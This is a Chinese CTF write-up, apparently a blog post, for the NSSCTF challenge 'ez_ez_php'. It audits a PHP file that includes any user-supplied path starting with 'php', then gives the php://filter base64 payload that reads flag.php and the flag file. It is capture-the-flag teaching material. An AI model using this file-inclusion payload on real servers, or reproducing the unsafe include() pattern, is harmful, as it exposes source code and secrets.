NSSCFT [SWPUCTF 2022 新生赛]ez_ez_php
1.[NSSCTF 2022 Spring Recruit]ezgame2.NSSCTF [GXYCTF 2019]Ping Ping Ping3.NSSCTF [SWPUCTF 2021 新生赛]hardrce4.NSSCTF [SWPUCTF 2021 新生赛]easyupload3.05.Nssctf [SWPUCTF 2021 新生赛]error6.NSSCTF [SWPUCTF 2021 新生赛]pop
7.NSSCFT [SWPUCTF 2022 新生赛]ez_ez_php
8.NSSCTF [SWPUCTF 2021 新生赛]crypto89.NSSCTF [HNCTF 2022 Week1]Interesting_include10.NSSCTF [鹤城杯 2021]EasyP11.NSSCTF [NISACTF 2022]babyserialize进入之后就看见一段php代码,那就直接开始代码审计
<?php error_reporting(0); if (isset($_GET['file'])) { if ( substr($_GET["file"], 0, 3) === "php" ) {//截取字符串前三个字符,并与php做判断 echo "Nice!!!"; include($_GET["file"]); } else { echo "Hacker!!"; } }else { highlight_file(__FILE__); } //flag.php
这段代码,就是限定我们输入的内容前三个字符必须是php,这不就好办了,他告诉我们存在一个flag.php文件,那我们直接用php伪协议中的php://filter来试试
/?file=php://filter/read=convert.base64-encode/resource=flag.php
放进解码器解码得到下面的代码。
<?php error_reporting(0); header("Content-Type:text/html;charset=utf-8"); echo "NSSCTF{flag_is_not_here}" ."<br/>"; echo "real_flag_is_in_'flag'"."<br/>"; echo "换个思路,试试PHP伪协议呢";
他说flag不在flag.php里面,在flag里面,那我们直接将flag.php改为flag试试
/?file=php://filter/read=convert.base64-encode/resource=flag
继续解码试试
成功获得flag
合集:
NSSCTF诺赛斯
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 在鹅厂做java开发是什么体验
· 百万级群聊的设计实践
· WPF到Web的无缝过渡:英雄联盟客户端的OpenSilver迁移实战
· 永远不要相信用户的输入:从 SQL 注入攻防看输入验证的重要性
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析